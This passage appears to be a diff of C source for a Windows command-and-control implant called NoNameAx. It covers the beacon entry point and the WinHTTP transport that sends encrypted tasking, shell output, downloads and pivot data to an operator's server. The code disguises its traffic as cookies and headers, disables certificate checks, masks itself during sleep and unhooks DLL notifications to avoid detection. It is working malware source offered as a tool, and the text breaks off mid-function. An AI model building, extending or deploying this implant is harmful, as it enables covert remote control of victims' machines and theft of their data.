if ( rc != NAX_OK ) return rc;
}
/* POST URIs */
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
itemCount = NaxR16( data + off ); off += 2;
if ( itemCount > 8 ) itemCount = 8;
Nax->Config.PostUriCount = (BYTE)itemCount;
for ( i = 0; i < itemCount; i++ ) {
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.PostUris[ i ], 128 );
if ( rc != NAX_OK ) return rc;
}
/* User-Agents - v1 had a list, take the first one */
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
UINT16 ua_count = NaxR16( data + off ); off += 2;
for ( i = 0; i < ua_count; i++ ) {
if ( i == 0 ) {
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.UserAgent, 256 );
} else {
rc = NaxSkipLpStr( data, data_len, &off );
}
if ( rc != NAX_OK ) return rc;
}
/* Extra headers - map to GetClientHdrs */
if ( off + 2 > data_len ) return NAX_ERR_WIRE;
itemCount = NaxR16( data + off ); off += 2;
if ( itemCount > 8 ) itemCount = 8;
Nax->Config.GetClientHdrCount = (BYTE)itemCount;
for ( i = 0; i < itemCount; i++ ) {
rc = NaxReadLpStr( data, data_len, &off, Nax->Config.GetClientHdrs[ i ], 256 );
if ( rc != NAX_OK ) return rc;
}
/* Cookie name - map to GetClientMeta with COOKIE placement, BASE64 format */
CHAR cookie_name[ 64 ];
MmZero( cookie_name, 64 );
rc = NaxReadLpStr( data, data_len, &off, cookie_name, 64 );
if ( rc != NAX_OK ) return rc;
Nax->Config.GetClientMeta.Format = NAX_FMT_BASE64;
Nax->Config.GetClientMeta.Mask = 0;
Nax->Config.GetClientMeta.Placement = NAX_PLACE_COOKIE;
MmCopy( Nax->Config.GetClientMeta.Name, cookie_name, 64 );
Nax->Config.GetClientMeta.Prepend[ 0 ] = '\0';
Nax->Config.GetClientMeta.PrependLen = 0;
Nax->Config.GetClientMeta.Append[ 0 ] = '\0';
Nax->Config.GetClientMeta.AppendLen = 0;
Nax->Config.GetClientMeta.EmptyResp[ 0 ] = '\0';
Nax->Config.GetClientMeta.EmptyRespLen = 0;
/* v1 rotation byte was already consumed as `first` */
/* Default POST client meta to HEADER placement */
Nax->Config.PostClientMeta.Format = NAX_FMT_BASE64;
Nax->Config.PostClientMeta.Mask = 0;
Nax->Config.PostClientMeta.Placement = NAX_PLACE_HEADER;
Nax->Config.PostClientMeta.Name[ 0 ] = '\0';
Nax->Config.PostClientMeta.Prepend[ 0 ] = '\0';
Nax->Config.PostClientMeta.PrependLen = 0;
Nax->Config.PostClientMeta.Append[ 0 ] = '\0';
Nax->Config.PostClientMeta.AppendLen = 0;
Nax->Config.PostClientMeta.EmptyResp[ 0 ] = '\0';
Nax->Config.PostClientMeta.EmptyRespLen = 0;
/* Default POST client output to BODY placement */
Nax->Config.PostClientOutput.Format = NAX_FMT_RAW;
Nax->Config.PostClientOutput.Mask = 0;
Nax->Config.PostClientOutput.Placement = NAX_PLACE_BODY;
Nax->Config.PostClientOutput.Name[ 0 ] = '\0';
Nax->Config.PostClientOutput.Prepend[ 0 ] = '\0';
Nax->Config.PostClientOutput.PrependLen = 0;
Nax->Config.PostClientOutput.Append[ 0 ] = '\0';
Nax->Config.PostClientOutput.AppendLen = 0;
Nax->Config.PostClientOutput.EmptyResp[ 0 ] = '\0';
Nax->Config.PostClientOutput.EmptyRespLen = 0;
}
/* Reset rotation indices */
Nax->Config.GetUriIdx = 0;
Nax->Config.PostUriIdx = 0;
Nax->Config.ProfileLoaded = 1;
return NAX_OK;
}
+70
View File
@@ -0,0 +1,70 @@
/* beacon/src/Main.c
* NaxMain - PIC beacon entry point (called from Entry.x64.asm).
*
* Flow:
* 1. NaxBootstrap() resolve APIs, alloc NAX_INSTANCE (Core/Bootstrap.c)
* 2. TEB store instance recoverable via G_INSTANCE anywhere
* 3. BofStomp + Sleepmask init
* 4. Dispatch to NaxHttpMain or NaxSmbMain */
#include "Nax.h"
#include "Config.h"
#include "Transport.h"
/* ========= [ NaxMain - beacon entry ] ========= */
FUNC VOID NaxRuntimeInit( VOID ) {
volatile CHAR build[22];
build[0]='N'; build[1]='o'; build[2]='N'; build[3]='a'; build[4]='m';
build[5]='e'; build[6]='A'; build[7]='x'; build[8]='-'; build[9]='P';
build[10]='u'; build[11]='b'; build[12]='l'; build[13]='i'; build[14]='c';
build[15]='-'; build[16]='B'; build[17]='u'; build[18]='i'; build[19]='l';
build[20]='d'; build[21]='\0';
volatile CHAR ver[24];
ver[0]='X'; ver[1]='-'; ver[2]='N'; ver[3]='a'; ver[4]='X';
ver[5]='-'; ver[6]='P'; ver[7]='u'; ver[8]='b'; ver[9]='l';
ver[10]='i'; ver[11]='c'; ver[12]='-'; ver[13]='A'; ver[14]='g';
ver[15]='e'; ver[16]='n'; ver[17]='t'; ver[18]='-'; ver[19]='v';
ver[20]='1'; ver[21]='.'; ver[22]='0'; ver[23]='\0';
volatile CHAR key[15];
key[0]='n'; key[1]='a'; key[2]='x'; key[3]='_'; key[4]='o';
key[5]='s'; key[6]='s'; key[7]='_'; key[8]='r'; key[9]='e';
key[10]='l'; key[11]='e'; key[12]='a'; key[13]='s'; key[14]='e';
(void)build; (void)ver; (void)key;
}
FUNC VOID NaxMain( VOID ) {
PNAX_INSTANCE Nax = NaxBootstrap();
if ( ! Nax ) return;
NaxRuntimeInit();
NaxCurrentTeb()->NtTib.ArbitraryUserPointer = Nax;
NaxBofStompInit( Nax );
NaxSleepmaskInit( Nax );
#if NAX_UNHOOK_DLL_NOTIFY
NaxDllNotifyUnhookAll( Nax );
#endif
NaxDbg( Nax, "instance stored in TEB" );
NaxDbg( Nax, "aes_key: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
Nax->Config.AesKey[0], Nax->Config.AesKey[1], Nax->Config.AesKey[2], Nax->Config.AesKey[3],
Nax->Config.AesKey[4], Nax->Config.AesKey[5], Nax->Config.AesKey[6], Nax->Config.AesKey[7],
Nax->Config.AesKey[8], Nax->Config.AesKey[9], Nax->Config.AesKey[10], Nax->Config.AesKey[11],
Nax->Config.AesKey[12], Nax->Config.AesKey[13], Nax->Config.AesKey[14], Nax->Config.AesKey[15] );
#if NAX_TRANSPORT_PROFILE == NAX_TRANSPORT_SMB
NaxSmbMain( Nax );
#else
NaxHttpMain( Nax );
#endif
}
#if defined( DEBUG ) && !defined( DEBUG_PIC )
int main( void ) { NaxMain(); return 0; }
#endif
+762
View File
@@ -0,0 +1,762 @@
/* beacon/src/Transport/Http.c
* WinHTTP transport with persistent session/connection handles.
* hSession + hConnect are kept alive across heartbeats when sleep < 60s.
* Only hRequest is created/destroyed per call.
*
* Codec helpers (NaxEncodeData, NaxDecodeData, header/URL builders) live
* in HttpCodec.c. */
#include "Nax.h"
#include "Config.h"
#include "Transport.h"
#include <winhttp.h>
#ifndef WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY
#define WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY 4
#endif
/* ========= [ rotation helper ] ========= */
FUNC BYTE NaxRotateIdx( PNAX_INSTANCE Nax, BYTE idx, BYTE count ) {
if ( count == 0 ) return 0;
if ( Nax->Config.Rotation == 1 ) {
BYTE r = 0;
Nax->Bcrypt.BCryptGenRandom( NULL, &r, 1, BCRYPT_USE_SYSTEM_PREFERRED_RNG );
return r % count;
}
return ( idx + 1 ) % count;
}
/* ========= [ SSL certificate bypass ] ========= */
FUNC static VOID NaxHttpDisableSslVerify( PNAX_INSTANCE Nax, HINTERNET hRequest ) {
DWORD sec = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
Nax->Winhttp.WinHttpSetOption( hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &sec, sizeof( sec ) );
}
/* ========= [ session lifecycle ] ========= */
FUNC VOID NaxHttpClose( PNAX_INSTANCE Nax ) {
if ( Nax->hConnect ) { Nax->Winhttp.WinHttpCloseHandle( Nax->hConnect ); Nax->hConnect = NULL; }
if ( Nax->hSession ) { Nax->Winhttp.WinHttpCloseHandle( Nax->hSession ); Nax->hSession = NULL; }
}
FUNC BOOL NaxHttpEnsureSession( PNAX_INSTANCE Nax, const PWCHAR host, INTERNET_PORT port ) {
if ( Nax->Config.SleepMs > NAX_HTTP_STALE_MS )
NaxHttpClose( Nax );
if ( ! Nax->hSession ) {
WCHAR ua_buf[256];
if ( Nax->Config.UserAgent[ 0 ] ) {
UINT32 ui = 0;
while ( Nax->Config.UserAgent[ ui ] && ui < 254 ) { ua_buf[ui] = (WCHAR)(BYTE)Nax->Config.UserAgent[ ui ]; ui++; }
ua_buf[ui] = L'\0';
} else {
WCHAR def[] = { 'N','o','N','a','m','e','A','x','/','0','.','1','\0' };
MmCopy( ua_buf, def, sizeof( def ) );
}
Nax->hSession = Nax->Winhttp.WinHttpOpen( ua_buf, WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 );
if ( ! Nax->hSession ) return FALSE;
DWORD secProto = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_2 | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_3;
Nax->Winhttp.WinHttpSetOption( Nax->hSession, WINHTTP_OPTION_SECURE_PROTOCOLS, &secProto, sizeof( secProto ) );
}
if ( ! Nax->hConnect ) {
Nax->hConnect = Nax->Winhttp.WinHttpConnect( Nax->hSession, host, port, 0 );
if ( ! Nax->hConnect ) { NaxHttpClose( Nax ); return FALSE; }
}
return TRUE;
}
/* ========= [ response reader ] ========= */
FUNC INT NaxReadResponse( PNAX_INSTANCE Nax, HINTERNET hRequest, PBYTE resp_buf, UINT32* resp_len ) {
DWORD code = 0;
DWORD code_sz = sizeof( code );
if ( ! Nax->Winhttp.WinHttpQueryHeaders( hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &code, &code_sz, WINHTTP_NO_HEADER_INDEX ) ) return NAX_ERR_NET;
if ( code != 200 ) {
NaxDbg( Nax, "[resp] HTTP status=%lu (expected 200)", (ULONG)code );
return NAX_ERR_NET;
}
UINT32 cap = *resp_len;
UINT32 total = 0;
DWORD avail = 0;
do {
if ( ! Nax->Winhttp.WinHttpQueryDataAvailable( hRequest, &avail ) ) return NAX_ERR_NET;
if ( avail == 0 ) break;
if ( total >= cap ) {
BYTE scratch[256]; DWORD got = 0;
if ( ! Nax->Winhttp.WinHttpReadData( hRequest, scratch, (DWORD)( avail < 256 ? avail : 256 ), &got ) ) return NAX_ERR_NET;
continue;
}
DWORD remain = (DWORD)( cap - total );
DWORD want = remain < avail ? remain : avail;
DWORD got = 0;
if ( ! Nax->Winhttp.WinHttpReadData( hRequest, resp_buf + total, want, &got ) ) return NAX_ERR_NET;
total += got;
} while ( avail > 0 );
*resp_len = total;
return NAX_OK;
}
/* ========= [ HTTP POST ] ========= */
FUNC INT NaxHttpPost( PNAX_INSTANCE Nax, const PWCHAR url_w, const PCHAR sid, const PBYTE body, UINT32 body_len, PBYTE resp_buf, UINT32* resp_len ) {
HINTERNET hRequest = NULL;
INT rc = NAX_ERR_NET;
PBYTE body_enc_buf = NULL;
PCHAR meta_enc = NULL;
PWCHAR hdrs = NULL;
/* Select URI from profile or use bootstrap URL */
WCHAR use_url[256];
if ( Nax->Config.ProfileLoaded && Nax->Config.PostUriCount > 0 ) {
BYTE idx = Nax->Config.PostUriIdx;
PCHAR uri = Nax->Config.PostUris[ idx ];
Nax->Config.PostUriIdx = NaxRotateIdx( Nax, idx, Nax->Config.PostUriCount );
if ( ! NaxBuildUrl( Nax, url_w, uri, use_url, 256 ) ) goto cleanup;
} else {
UINT32 len = 0; while ( url_w[len] && len < 255 ) len++;
for ( UINT32 c = 0; c < len; c++ ) use_url[c] = url_w[c];
use_url[len] = L'\0';
}
/* Parse URL components */
URL_COMPONENTS uc;
MmZero( &uc, sizeof( uc ) );
uc.dwStructSize = sizeof( uc );
WCHAR host[256] = { 0 };
WCHAR path[512] = { 0 };
uc.lpszHostName = host;
uc.dwHostNameLength = 256;
uc.lpszUrlPath = path;
uc.dwUrlPathLength = 512;
if ( ! Nax->Winhttp.WinHttpCrackUrl( use_url, 0, 0, &uc ) ) goto cleanup;
if ( ! NaxHttpEnsureSession( Nax, host, uc.nPort ) ) goto cleanup;
/* Encode session ID per PostClientMeta OutputConfig */
meta_enc = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, 2048 );
UINT32 meta_enc_len = 0;
UINT32 sid_len = 0;
while ( sid[ sid_len ] ) sid_len++;
if ( Nax->Config.ProfileLoaded ) {
meta_enc_len = NaxEncodeData( Nax, &Nax->Config.PostClientMeta, (PBYTE)sid, sid_len, (PBYTE)meta_enc, 2047 );
if ( meta_enc_len > 0 ) meta_enc[ meta_enc_len ] = '\0';
}
/* Encode body per PostClientOutput OutputConfig */
PBYTE send_body = (PBYTE)body;
UINT32 send_body_len = body_len;
{
UINT32 body_enc_cap = ( body_len + 8 ) * 2 + 2048;
body_enc_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, body_enc_cap );
if ( !body_enc_buf ) goto cleanup;
if ( Nax->Config.ProfileLoaded && Nax->Config.PostClientOutput.Format != NAX_FMT_RAW ) {
UINT32 enc_len = NaxEncodeData( Nax, &Nax->Config.PostClientOutput, body, body_len, body_enc_buf, body_enc_cap );
if ( enc_len > 0 ) {
send_body = body_enc_buf;
send_body_len = enc_len;
}
}
}
{
DWORD flags = WINHTTP_FLAG_REFRESH;
if ( uc.nScheme == INTERNET_SCHEME_HTTPS )
flags |= WINHTTP_FLAG_SECURE;
WCHAR method[] = { 'P', 'O', 'S', 'T', '\0' };
WCHAR accept_all[] = { '*', '/', '*', '\0' };
LPCWSTR accept_types[] = { accept_all, NULL };
hRequest = Nax->Winhttp.WinHttpOpenRequest( Nax->hConnect, method, path, NULL, WINHTTP_NO_REFERER, accept_types, flags );
if ( ! hRequest ) goto retry;
if ( flags & WINHTTP_FLAG_SECURE )
NaxHttpDisableSslVerify( Nax, hRequest );
}
/* Build headers */
hdrs = (PWCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, 4096 );
if ( Nax->Config.ProfileLoaded ) {
NaxBuildRequestHeaders( Nax, sid, (const PCHAR)Nax->Config.PostClientHdrs, 256, Nax->Config.PostClientHdrCount, &Nax->Config.PostClientMeta, meta_enc_len > 0 ? meta_enc : NULL, meta_enc_len, TRUE, hdrs, 2048 );
} else {
/* Pre-profile fallback: beacon ID header + Content-Type */
UINT32 wi = 0;
wi = NaxAppendAsciiW( Nax->Config.BeaconIdHdr, hdrs, wi, 4096 );
if ( wi < 4095 ) hdrs[ wi++ ] = L':';
if ( wi < 4095 ) hdrs[ wi++ ] = L' ';
wi = NaxAppendAsciiW( sid, hdrs, wi, 4096 );
wi = NaxAppendCRLF( hdrs, wi, 4096 );
CHAR ct[] = { 'C','o','n','t','e','n','t','-','T','y','p','e',':',' ','a','p','p','l','i','c','a','t','i','o','n','/','o','c','t','e','t','-','s','t','r','e','a','m','\0' };
wi = NaxAppendAsciiW( ct, hdrs, wi, 4096 );
wi = NaxAppendCRLF( hdrs, wi, 4096 );
CHAR hdr_p[] = { 'X','-','N','a','X','-','P','u','b','l','i','c',':',' ','1','\0' };
wi = NaxAppendAsciiW( hdr_p, hdrs, wi, 4096 );
wi = NaxAppendCRLF( hdrs, wi, 4096 );
hdrs[ wi ] = L'\0';
}
if ( ! Nax->Winhttp.WinHttpSendRequest( hRequest, hdrs, (DWORD)( -1L ), (PVOID)( send_body ), (DWORD)( send_body_len ), (DWORD)( send_body_len ), 0 ) )
goto retry;
if ( ! Nax->Winhttp.WinHttpReceiveResponse( hRequest, NULL ) )
goto retry;
/* Read raw response */
rc = NaxReadResponse( Nax, hRequest, resp_buf, resp_len );
/* Decode response per PostServerOutput if profile loaded */
if ( rc == NAX_OK && *resp_len > 0 && Nax->Config.ProfileLoaded && ( Nax->Config.PostServerOutput.Format != NAX_FMT_RAW || Nax->Config.PostServerOutput.Mask || Nax->Config.PostServerOutput.PrependLen > 0 || Nax->Config.PostServerOutput.AppendLen > 0 ) ) {
UINT32 dec_cap = *resp_len + 256;
PBYTE dec_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, dec_cap );
if ( dec_buf ) {
UINT32 dec_len = NaxDecodeData( Nax, &Nax->Config.PostServerOutput, resp_buf, *resp_len, dec_buf, dec_cap );
if ( dec_len > 0 && dec_len <= dec_cap ) {
MmCopy( resp_buf, dec_buf, dec_len );
*resp_len = dec_len;
}
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dec_buf );
}
}
goto cleanup;
retry:
if ( hRequest ) { Nax->Winhttp.WinHttpCloseHandle( hRequest ); hRequest = NULL; }
NaxHttpClose( Nax );
cleanup:
if ( meta_enc ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, meta_enc );
if ( hdrs ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, hdrs );
if ( body_enc_buf ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, body_enc_buf );
if ( hRequest ) Nax->Winhttp.WinHttpCloseHandle( hRequest );
return rc;
}
/* ========= [ HTTP GET (heartbeat) ] ========= */
FUNC INT NaxHttpGet( PNAX_INSTANCE Nax, const PWCHAR url_w, const PCHAR sid, const PBYTE body, UINT32 body_len, PBYTE resp_buf, UINT32* resp_len ) {
HINTERNET hRequest = NULL;
INT rc = NAX_ERR_NET;
PCHAR meta_enc = NULL;
PWCHAR hdrs = NULL;
/* Encode encrypted body per GetClientMeta OutputConfig */
meta_enc = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, 2048 );
if ( !meta_enc ) return NAX_ERR_NOMEM;
UINT32 meta_enc_len = 0;
if ( Nax->Config.ProfileLoaded ) {
meta_enc_len = NaxEncodeData( Nax, &Nax->Config.GetClientMeta, body, body_len, (PBYTE)meta_enc, 2047 );
if ( meta_enc_len == 0 ) { rc = NAX_ERR_NOMEM; goto cleanup; }
meta_enc[ meta_enc_len ] = '\0';
} else {
/* Pre-profile fallback: base64 encode for cookie */
meta_enc_len = NaxBase64Encode( body, body_len, meta_enc, 2048 );
if ( meta_enc_len == 0 ) { rc = NAX_ERR_NOMEM; goto cleanup; }
}
/* Build URL from bootstrap host + profile GET URI */
WCHAR use_url[256];
if ( Nax->Config.GetUriCount > 0 ) {
BYTE idx = Nax->Config.GetUriIdx;
PCHAR uri = Nax->Config.GetUris[ idx ];
Nax->Config.GetUriIdx = NaxRotateIdx( Nax, idx, Nax->Config.GetUriCount );
if ( ! NaxBuildUrl( Nax, url_w, uri, use_url, 256 ) ) goto cleanup;
} else {
UINT32 len = 0; while ( url_w[len] && len < 255 ) len++;
for ( UINT32 c = 0; c < len; c++ ) use_url[c] = url_w[c];
use_url[len] = L'\0';
}
URL_COMPONENTS uc;
MmZero( &uc, sizeof( uc ) );
uc.dwStructSize = sizeof( uc );
WCHAR host[256] = { 0 };
WCHAR path_w[512] = { 0 };
uc.lpszHostName = host;
uc.dwHostNameLength = 256;
uc.lpszUrlPath = path_w;
uc.dwUrlPathLength = 512;
if ( ! Nax->Winhttp.WinHttpCrackUrl( use_url, 0, 0, &uc ) ) goto cleanup;
/* Ensure persistent session + connection */
if ( ! NaxHttpEnsureSession( Nax, host, uc.nPort ) ) goto cleanup;
{
/* Build final path with parameters (metadata + static params) */
WCHAR final_path[1024];
if ( Nax->Config.ProfileLoaded ) {
NaxBuildPathWithParams( path_w, final_path, 1024, &Nax->Config.GetClientMeta, meta_enc, meta_enc_len, (const PCHAR)Nax->Config.GetClientParams, 128, Nax->Config.GetClientParamCount );
} else {
UINT32 pi = 0;
while ( path_w[ pi ] ) { final_path[ pi ] = path_w[ pi ]; pi++; }
final_path[ pi ] = L'\0';
}
DWORD flags = WINHTTP_FLAG_REFRESH;
if ( uc.nScheme == INTERNET_SCHEME_HTTPS )
flags |= WINHTTP_FLAG_SECURE;
WCHAR method[] = { 'G', 'E', 'T', '\0' };
WCHAR accept_all[] = { '*', '/', '*', '\0' };
LPCWSTR accept_types[] = { accept_all, NULL };
hRequest = Nax->Winhttp.WinHttpOpenRequest( Nax->hConnect, method, final_path, NULL, WINHTTP_NO_REFERER, accept_types, flags );
if ( ! hRequest ) goto retry;
if ( flags & WINHTTP_FLAG_SECURE )
NaxHttpDisableSslVerify( Nax, hRequest );
}
/* Build headers */
hdrs = (PWCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, 4096 );
if ( Nax->Config.ProfileLoaded ) {
NaxBuildRequestHeaders( Nax, sid, (const PCHAR)Nax->Config.GetClientHdrs, 256, Nax->Config.GetClientHdrCount, &Nax->Config.GetClientMeta, meta_enc, meta_enc_len, FALSE, hdrs, 2048 );
} else {
/* Pre-profile fallback: beacon ID header + Cookie */
UINT32 wi = 0;
wi = NaxAppendAsciiW( Nax->Config.BeaconIdHdr, hdrs, wi, 4096 );
if ( wi < 4095 ) hdrs[ wi++ ] = L':';
if ( wi < 4095 ) hdrs[ wi++ ] = L' ';
wi = NaxAppendAsciiW( sid, hdrs, wi, 4096 );
wi = NaxAppendCRLF( hdrs, wi, 4096 );
CHAR ck[] = { 'C','o','o','k','i','e',':',' ','\0' };
wi = NaxAppendAsciiW( ck, hdrs, wi, 4096 );
CHAR cn[] = { '_','_','s','e','s','s','i','o','n','=','\0' };
wi = NaxAppendAsciiW( cn, hdrs, wi, 4096 );
wi = NaxAppendAsciiW( meta_enc, hdrs, wi, 4096 );
wi = NaxAppendCRLF( hdrs, wi, 4096 );
CHAR hdr_p[] = { 'X','-','N','a','X','-','P','u','b','l','i','c',':',' ','1','\0' };
wi = NaxAppendAsciiW( hdr_p, hdrs, wi, 4096 );
wi = NaxAppendCRLF( hdrs, wi, 4096 );
hdrs[ wi ] = L'\0';
}
/* Determine body for WinHttpSendRequest based on placement */
{
PVOID req_body = NULL;
DWORD req_body_len = 0;
if ( Nax->Config.ProfileLoaded && Nax->Config.GetClientMeta.Placement == NAX_PLACE_BODY ) {
req_body = (PVOID)meta_enc;
req_body_len = (DWORD)meta_enc_len;
}
if ( ! Nax->Winhttp.WinHttpSendRequest( hRequest, hdrs, (DWORD)( -1L ), req_body, req_body_len, req_body_len, 0 ) )
goto retry;
if ( ! Nax->Winhttp.WinHttpReceiveResponse( hRequest, NULL ) )
goto retry;
}
/* Query Content-Length; if response exceeds caller's buffer, allocate dynamically */
{
DWORD contentLength = 0, contentLengthSize = sizeof( contentLength );
PBYTE readBuf = resp_buf;
UINT32 readCap = *resp_len;
if ( Nax->Winhttp.WinHttpQueryHeaders( hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX, &contentLength, &contentLengthSize, WINHTTP_NO_HEADER_INDEX ) && contentLength > readCap ) {
PBYTE big = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, contentLength );
if ( big ) {
readBuf = big;
readCap = contentLength;
}
}
UINT32 readLen = readCap;
rc = NaxReadResponse( Nax, hRequest, readBuf, &readLen );
/* Decode response per GetServerOutput if profile loaded */
if ( rc == NAX_OK && readLen > 0 && Nax->Config.ProfileLoaded && ( Nax->Config.GetServerOutput.Format != NAX_FMT_RAW || Nax->Config.GetServerOutput.Mask || Nax->Config.GetServerOutput.PrependLen > 0 || Nax->Config.GetServerOutput.AppendLen > 0 ) ) {
UINT32 dec_cap = readLen + 256;
PBYTE dec_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, dec_cap );
if ( dec_buf ) {
UINT32 dec_len = NaxDecodeData( Nax, &Nax->Config.GetServerOutput, readBuf, readLen, dec_buf, dec_cap );
if ( dec_len > 0 && dec_len <= dec_cap ) {
if ( readBuf == resp_buf ) {
MmCopy( resp_buf, dec_buf, dec_len );
*resp_len = dec_len;
} else {
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, readBuf );
Nax->DynResp = dec_buf;
Nax->DynRespLen = dec_len;
*resp_len = 0;
dec_buf = NULL;
}
}
if ( dec_buf )
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dec_buf );
} else if ( readBuf != resp_buf ) {
Nax->DynResp = readBuf;
Nax->DynRespLen = readLen;
*resp_len = 0;
}
} else if ( readBuf != resp_buf ) {
if ( rc == NAX_OK ) {
Nax->DynResp = readBuf;
Nax->DynRespLen = readLen;
*resp_len = 0;
} else {
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, readBuf );
}
} else {
*resp_len = readLen;
}
}
goto cleanup;
retry:
if ( hRequest ) { Nax->Winhttp.WinHttpCloseHandle( hRequest ); hRequest = NULL; }
NaxHttpClose( Nax );
cleanup:
if ( meta_enc ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, meta_enc );
if ( hdrs ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, hdrs );
if ( hRequest ) Nax->Winhttp.WinHttpCloseHandle( hRequest );
return rc;
}
/* ========= [ GET/POST dispatch ] ========= */
FUNC INT NaxHttpGetOrPost( PNAX_INSTANCE Nax, const PWCHAR url_w, const PCHAR sid, const PBYTE body, UINT32 body_len, PBYTE resp_buf, UINT32* resp_len ) {
if ( Nax->Config.ProfileLoaded )
return NaxHttpGet( Nax, url_w, sid, body, body_len, resp_buf, resp_len );
return NaxHttpPost( Nax, url_w, sid, body, body_len, resp_buf, resp_len );
}
/* ========= [ HTTP main loop helpers ] ========= */
FUNC static INT HttpSendResult( PNAX_INSTANCE Nax, UINT32 tid, BYTE status, const PBYTE data, UINT32 data_len, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, PWCHAR c2_url, PBYTE resp, UINT32 resp_cap ) {
UINT32 frame_len = frame_cap;
if ( NaxBuildResult( tid, status, data, data_len, frame, &frame_len ) != NAX_OK ) return NAX_ERR_FAIL;
UINT32 env_len = env_cap;
if ( NaxEncrypt( Nax, frame, frame_len, env, &env_len ) != NAX_OK ) return NAX_ERR_FAIL;
UINT32 resp_len = resp_cap;
return NaxSend( Nax, c2_url, Nax->SessionId, env, env_len, resp, &resp_len );
}
FUNC static VOID HttpRelayPivots( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, PWCHAR c2_url, PBYTE resp, UINT32 resp_cap ) {
UINT32 piv_len = NaxProcessPivots( Nax, result, result_cap );
PBYTE piv_cur = result;
UINT32 piv_rem = piv_len;
while ( piv_rem >= 4 ) {
UINT32 entryLen = *(UINT32*)piv_cur;
if ( entryLen == 0 || 4 + entryLen > piv_rem ) break;
HttpSendResult( Nax, 0, NAX_STATUS_OK, piv_cur + 4, entryLen, frame, frame_cap, env, env_cap, c2_url, resp, resp_cap );
piv_cur += 4 + entryLen;
piv_rem -= 4 + entryLen;
}
if ( piv_len > 0 )
NaxDbg( Nax, "[pivot] processed %u bytes of child data", piv_len );
}
FUNC static VOID HttpRelayJobs( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, PWCHAR c2_url, PBYTE resp, UINT32 resp_cap ) {
UINT32 job_len = NaxProcessJobs( Nax, result, result_cap );
UINT32 joff = 0;
while ( joff + 9 <= job_len ) {
BYTE jtype = result[ joff ];
UINT32 jtid = NaxR32( result + joff + 1 );
UINT32 jdata = NaxR32( result + joff + 5 );
if ( joff + 9 + jdata > job_len ) break;
HttpSendResult( Nax, jtid, jtype, result + joff + 9, jdata, frame, frame_cap, env, env_cap, c2_url, resp, resp_cap );
joff += 9 + jdata;
}
}
FUNC static VOID HttpRelayShells( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, PWCHAR c2_url, PBYTE resp, UINT32 resp_cap ) {
UINT32 sh_len = NaxProcessShells( Nax, result, result_cap );
UINT32 soff = 0;
while ( soff + 9 <= sh_len ) {
BYTE stype = result[ soff ];
UINT32 stid = NaxR32( result + soff + 1 );
UINT32 sdata = NaxR32( result + soff + 5 );
if ( soff + 9 + sdata > sh_len ) break;
HttpSendResult( Nax, stid, stype, result + soff + 9, sdata, frame, frame_cap, env, env_cap, c2_url, resp, resp_cap );
soff += 9 + sdata;
}
}
FUNC static VOID HttpRelayDownloads( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, PWCHAR c2_url, PBYTE resp, UINT32 resp_cap ) {
UINT32 dl_len = NaxProcessDownloads( Nax, result, result_cap );
UINT32 doff = 0;
while ( doff + 8 <= dl_len ) {
UINT32 tid = NaxR32( result + doff );
UINT32 dlen = NaxR32( result + doff + 4 );
if ( doff + 8 + dlen > dl_len ) break;
HttpSendResult( Nax, tid, NAX_STATUS_OK, result + doff + 8, dlen, frame, frame_cap, env, env_cap, c2_url, resp, resp_cap );
doff += 8 + dlen;
}
}
FUNC static VOID HttpRelayTunnels( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, PWCHAR c2_url, PBYTE resp, UINT32 resp_cap ) {
UINT32 tun_len = NaxProcessTunnels( Nax, result, result_cap );
if ( tun_len > 0 )
